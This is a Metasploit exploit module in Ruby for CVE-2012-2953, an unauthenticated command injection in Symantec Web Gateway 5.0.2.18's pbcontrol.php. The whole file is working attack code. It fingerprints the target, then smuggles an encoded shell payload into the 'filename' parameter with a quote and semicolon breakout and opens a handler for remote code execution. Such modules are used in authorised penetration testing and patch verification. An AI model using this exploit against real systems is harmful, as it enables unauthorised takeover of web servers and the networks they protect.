Symantec Web Gateway 5.0.2.18 - 'pbcontrol.php' Command Injection (Metasploit)

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info={})
		super(update_info(info,
			'Name'           => "Symantec Web Gateway 5.0.2.18 pbcontrol.php Command Injection",
			'Description'    => %q{
					This module exploits a command injection vulnerability found in Symantec Web
				Gateway's HTTP service.  While handling the filename parameter, the Spywall API
				does not do any filtering before passing it to an exec() call in proxy_file(),
				thus results in remote code execution under the context of the web server. Please
				note authentication is NOT needed to gain access.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'muts',  # Original discovery
					'sinn3r' # Metasploit
				],
			'References'     =>
				[
					[ 'CVE', '2012-2953' ],
					[ 'BID', '54426' ],
					[ 'EDB', '20088' ],
					[ 'URL', 'http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2012&suid=20120720_00']
				],
			'Payload'        =>
				{
					#'BadChars' => "\x00\x0d\x0a",
					'Compat'      =>
						{
							'PayloadType' => 'cmd',
							'RequiredCmd' => 'generic perl bash telnet'
						}
				},
			'Platform'       => ['unix'],
			'Arch'           => ARCH_CMD,
			'Targets'        =>
				[
					['Symantec Web Gateway 5.0.2.18', {}]
				],
			'Privileged'     => false,
			'DisclosureDate' => "Jul 23 2012",
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('TARGETURI', [true, 'The URI path to pbcontrol', '/spywall/pbcontrol.php'])
			], self.class)
	end


	def check
		dir = File.dirname(target_uri.path)

		res1 = send_request_raw({'uri' => "#{dir}/login.php"})
		res2 = send_request_raw({'uri' => "#{dir}/pbcontrol.php"})

		if res1 and res2
			if res1.body =~ /\<title\>Symantec Web Gateway\<\/title\>/ and res2.body =~ /^0$/
				return Exploit::CheckCode::Detected
			end
		end

		return Exploit::CheckCode::Safe
	end


	def exploit
		send_request_cgi({
			'uri'      => target_uri.path,
			'method'   => 'GET',
			'vars_get' => {
				'filename' => "#{Rex::Text.rand_text_alpha(4)}\";#{payload.encoded};\"",
				'stage' => '0'
			}
		})

		handler
	end

end